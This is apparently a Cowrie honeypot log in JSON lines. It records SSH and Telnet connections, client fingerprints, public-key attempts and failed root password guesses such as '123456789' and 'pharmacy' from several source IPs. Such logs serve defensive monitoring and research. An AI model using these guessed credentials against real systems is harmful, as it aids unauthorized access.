{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:34.991603Z","src_ip":"38.242.143.220","session":"47679d3dab93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Scr0ll$S3cur3#P@ss","message":"login attempt [root/Scr0ll$S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:35.285130Z","src_ip":"38.242.143.220","session":"47679d3dab93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:36.390937Z","src_ip":"38.242.143.220","session":"47679d3dab93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31640,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca672e28521","protocol":"ssh","message":"New connection: 38.93.206.2:31640 (10.17.0.5:22) [session: fca672e28521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:57.081662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:57.085450Z","src_ip":"38.93.206.2","session":"fca672e28521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:57.138191Z","src_ip":"38.93.206.2","session":"fca672e28521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pharmacy","message":"login attempt [root/pharmacy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:57.292091Z","src_ip":"38.93.206.2","session":"fca672e28521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.4986093044281,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:58.054467Z","src_ip":"170.64.224.25","session":"5e9ecd23a0f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:58.345303Z","src_ip":"38.93.206.2","session":"fca672e28521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":34754,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad9b6372ad8","protocol":"telnet","message":"New connection: 137.184.5.188:34754 (159.203.135.109:23) [session: 8ad9b6372ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:59:16.580759Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.225.7","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e08ed75fc85b","protocol":"telnet","message":"New connection: 128.199.225.7:54856 (10.17.0.5:23) [session: e08ed75fc85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:59:28.619793Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:59:29.160551Z","src_ip":"128.199.225.7","session":"e08ed75fc85b","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:59:29.429786Z","src_ip":"128.199.225.7","session":"e08ed75fc85b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":39346,"dst_ip":"10.17.0.5","dst_port":22,"session":"a46c2e76e975","protocol":"ssh","message":"New connection: 80.94.92.55:39346 (10.17.0.5:22) [session: a46c2e76e975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:25.722510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:26.431953Z","src_ip":"80.94.92.55","session":"a46c2e76e975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:26.438200Z","src_ip":"80.94.92.55","session":"a46c2e76e975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:29.445819Z","src_ip":"128.199.225.7","session":"e08ed75fc85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.829551696777344,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:29.449159Z","src_ip":"128.199.225.7","session":"e08ed75fc85b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:30.173235Z","src_ip":"80.94.92.55","session":"a46c2e76e975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:32.188004Z","src_ip":"80.94.92.55","session":"a46c2e76e975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32890,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de1f129dd3c","protocol":"telnet","message":"New connection: 170.64.224.25:32890 (159.203.135.109:23) [session: 3de1f129dd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:45.356565Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":65056,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bebed350042","protocol":"ssh","message":"New connection: 199.127.60.187:65056 (10.17.0.5:22) [session: 8bebed350042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:55.641562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:55.645770Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:55.700750Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:22:22:de:5d:eb:e5:8d:b4:25:fc:d8:8a:56:99:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCc+kLg684tSCeqii2e+1zVlZDWCHmnrLU58D3p2hkXYnsKUM79hrdrTaQLuD6yu3B5KhEJ0h2f75yjkVwE0+A2h2TtKvB7xkgh2FYf/aCvjYuH0x3iM+DKeaBSVZ4DGWWG0ADRHnbF9K0D4Fw7nen8KErBaZWvUWwPml4eWJ+6cT0euuxWDnJN+j6oG14eEErOsFFBaKOitngCmGYuhNdLZTr9nIVvtGDD8qymDJ4w2k2ihe6+VtI6sRHMdLIbLj4ONrf3wEWVkngPKyadfis5TwNuYQnLYrRoA/dfks6bbub1lmz+u64HrHKVEiqPJolyI4jSiAUNXrLW4G/qNwXFgWGypvWgEY1pGgGE+9pKuHgMvhlJw6+oUKURoNJPLJqU94wuUbDGA8uBoYLMacI05HIPFrb22FlEbF/fefNCY1Q8buXwzTHItvSND+CqPq+dkxpPgYyk5FIAxrdsqNTp7DdDNspWvTQkbjPjncaufvKW6ZSXjfM7nxGJegaPFIfKZ8utYy9VHRqTx3KD3BsN/iO3EXDTQXsemVVm4Sym9vSREF0qUJvhurLZ6DU8nqd840sotCl7s1TW3YODF1lYP21YD5CoFK6sEK+4Onwb/trfgGGYi+EcBOT0V8NPMId7fPrk+eCm22X4729R1UHlAmrULc9THoVGcMrdFO5jbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:22:22:de:5d:eb:e5:8d:b4:25:fc:d8:8a:56:99:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:55.960647Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:22:22:de:5d:eb:e5:8d:b4:25:fc:d8:8a:56:99:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCc+kLg684tSCeqii2e+1zVlZDWCHmnrLU58D3p2hkXYnsKUM79hrdrTaQLuD6yu3B5KhEJ0h2f75yjkVwE0+A2h2TtKvB7xkgh2FYf/aCvjYuH0x3iM+DKeaBSVZ4DGWWG0ADRHnbF9K0D4Fw7nen8KErBaZWvUWwPml4eWJ+6cT0euuxWDnJN+j6oG14eEErOsFFBaKOitngCmGYuhNdLZTr9nIVvtGDD8qymDJ4w2k2ihe6+VtI6sRHMdLIbLj4ONrf3wEWVkngPKyadfis5TwNuYQnLYrRoA/dfks6bbub1lmz+u64HrHKVEiqPJolyI4jSiAUNXrLW4G/qNwXFgWGypvWgEY1pGgGE+9pKuHgMvhlJw6+oUKURoNJPLJqU94wuUbDGA8uBoYLMacI05HIPFrb22FlEbF/fefNCY1Q8buXwzTHItvSND+CqPq+dkxpPgYyk5FIAxrdsqNTp7DdDNspWvTQkbjPjncaufvKW6ZSXjfM7nxGJegaPFIfKZ8utYy9VHRqTx3KD3BsN/iO3EXDTQXsemVVm4Sym9vSREF0qUJvhurLZ6DU8nqd840sotCl7s1TW3YODF1lYP21YD5CoFK6sEK+4Onwb/trfgGGYi+EcBOT0V8NPMId7fPrk+eCm22X4729R1UHlAmrULc9THoVGcMrdFO5jbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:55.963757Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:49:b3:d2:e4:12:d9:39:45:3f:c2:df:62:75:e8:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpoNNC6Fs11uo7ZO3afxKfMh9fysuu4fHl7ZBdQCgboBtwKB4QyoZXobh817cI28vV/IYWOlrExbndKHfswnfEcxoyZPoXcz7/VJ3RgZK1ljOndNlCJj89O/T8ECgUJ+wG45+aBsv6gFs4t2wP/O7WRmV09VkVWxlbpNpb11ct1PCX3gl9BXIqmrxdbDOiPkMe4ASAuujFifP9maob0cV/WgsSzMNqiKUJ3vQUw4vdMe+j9pghCpAPqeDvc5pcNNKN/qVSrxj6xNOTh1uXu6x8Gr+Rg/iDwEUc5uHXBgdR4Rxp3tZzfPgxMEYrjgLJ82bGNOhlNt/EimSuS+H1x2/5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:49:b3:d2:e4:12:d9:39:45:3f:c2:df:62:75:e8:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.019557Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:49:b3:d2:e4:12:d9:39:45:3f:c2:df:62:75:e8:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpoNNC6Fs11uo7ZO3afxKfMh9fysuu4fHl7ZBdQCgboBtwKB4QyoZXobh817cI28vV/IYWOlrExbndKHfswnfEcxoyZPoXcz7/VJ3RgZK1ljOndNlCJj89O/T8ECgUJ+wG45+aBsv6gFs4t2wP/O7WRmV09VkVWxlbpNpb11ct1PCX3gl9BXIqmrxdbDOiPkMe4ASAuujFifP9maob0cV/WgsSzMNqiKUJ3vQUw4vdMe+j9pghCpAPqeDvc5pcNNKN/qVSrxj6xNOTh1uXu6x8Gr+Rg/iDwEUc5uHXBgdR4Rxp3tZzfPgxMEYrjgLJ82bGNOhlNt/EimSuS+H1x2/5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.022429Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:3d:74:43:39:f1:f4:69:d9:ee:97:fa:0d:3f:ac:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgbp6xGhPWZFP+1ADZy8KPQl/cXYnZ+Vq+ocqKNG3v5h03SySYpryT+zPB+CVIUxPqlvUpr46KM8qtftMu0q4eTpO26B7u88AQoreArcvITL27+vr3BDqZLkcoWK4AG3zaMK6BRNFHLp+1XbmJcYPkvgk8BnTFUo7HBlHCdJ+khHDO4QzgjrFJ5Tw38lJw5QDrZV9UC/Ks5ncBkynCROfjWJYLt25A2jiDDhhU+zvTEbMoC8Sp9HNwsmGomaP06y8tvLYe9YpYbSMQ1H8SMRA6NoL/OTC7S2rYP8S8dye+IAKekJrRO4cOYMmL+RXkBtIwh9xta2MUZxc2kHMK1WsV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:3d:74:43:39:f1:f4:69:d9:ee:97:fa:0d:3f:ac:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.079044Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:3d:74:43:39:f1:f4:69:d9:ee:97:fa:0d:3f:ac:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgbp6xGhPWZFP+1ADZy8KPQl/cXYnZ+Vq+ocqKNG3v5h03SySYpryT+zPB+CVIUxPqlvUpr46KM8qtftMu0q4eTpO26B7u88AQoreArcvITL27+vr3BDqZLkcoWK4AG3zaMK6BRNFHLp+1XbmJcYPkvgk8BnTFUo7HBlHCdJ+khHDO4QzgjrFJ5Tw38lJw5QDrZV9UC/Ks5ncBkynCROfjWJYLt25A2jiDDhhU+zvTEbMoC8Sp9HNwsmGomaP06y8tvLYe9YpYbSMQ1H8SMRA6NoL/OTC7S2rYP8S8dye+IAKekJrRO4cOYMmL+RXkBtIwh9xta2MUZxc2kHMK1WsV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.081915Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:a3:92:97:6c:fe:f0:f2:6a:f7:47:dc:43:ed:13:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGl9xXc+m9ppbvtujNrCHnjqyr152CckrDuti8X0WxWFHQ8e2OXuk5nL+31XcKdSaOPdVYxYvP3RIv05Gfa/luvGRFHBRmQSJtUyWdTmDlYl5Xp0AD6msVtTKNVXYZ5xaoPUB2feLqU4j4QkRjgn1tn6WP8oEauFqV8BGsLqG6ZOaFJ40tHccfA/rFVvB6qaNMMwD9grPY96H7cUqRc2JAsoo+I497c8mkR1j2phvEYmjGoPH3d0Y/NxyHlqDclFaAN+J2P/1inSaxi+6KydMdXkoH0vYexjP2hhzj3lGc9WdjqbVOfu8lFDLGEa7wZ21uE1y9AvPAC9rJHsw6kpRF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:a3:92:97:6c:fe:f0:f2:6a:f7:47:dc:43:ed:13:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.138293Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:a3:92:97:6c:fe:f0:f2:6a:f7:47:dc:43:ed:13:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGl9xXc+m9ppbvtujNrCHnjqyr152CckrDuti8X0WxWFHQ8e2OXuk5nL+31XcKdSaOPdVYxYvP3RIv05Gfa/luvGRFHBRmQSJtUyWdTmDlYl5Xp0AD6msVtTKNVXYZ5xaoPUB2feLqU4j4QkRjgn1tn6WP8oEauFqV8BGsLqG6ZOaFJ40tHccfA/rFVvB6qaNMMwD9grPY96H7cUqRc2JAsoo+I497c8mkR1j2phvEYmjGoPH3d0Y/NxyHlqDclFaAN+J2P/1inSaxi+6KydMdXkoH0vYexjP2hhzj3lGc9WdjqbVOfu8lFDLGEa7wZ21uE1y9AvPAC9rJHsw6kpRF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.142202Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:9b:9b:a8:12:a6:86:c3:ad:77:33:dc:bb:de:c1:77","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIrf4/q6Z4Wd+5dcq+W3vkCnGmjSzcNV2ugh8Dnh63Pf","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b6:9b:9b:a8:12:a6:86:c3:ad:77:33:dc:bb:de:c1:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.216758Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:9b:9b:a8:12:a6:86:c3:ad:77:33:dc:bb:de:c1:77","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIrf4/q6Z4Wd+5dcq+W3vkCnGmjSzcNV2ugh8Dnh63Pf","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.219028Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:56.274667Z","src_ip":"199.127.60.187","session":"8bebed350042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":43644,"dst_ip":"159.203.135.109","dst_port":22,"session":"1834df95e7db","protocol":"ssh","message":"New connection: 181.116.220.251:43644 (159.203.135.109:22) [session: 1834df95e7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:58.017718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:58.021558Z","src_ip":"181.116.220.251","session":"1834df95e7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49804,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc18194b0a47","protocol":"telnet","message":"New connection: 170.64.224.25:49804 (159.203.135.109:23) [session: fc18194b0a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:00:58.177339Z"}
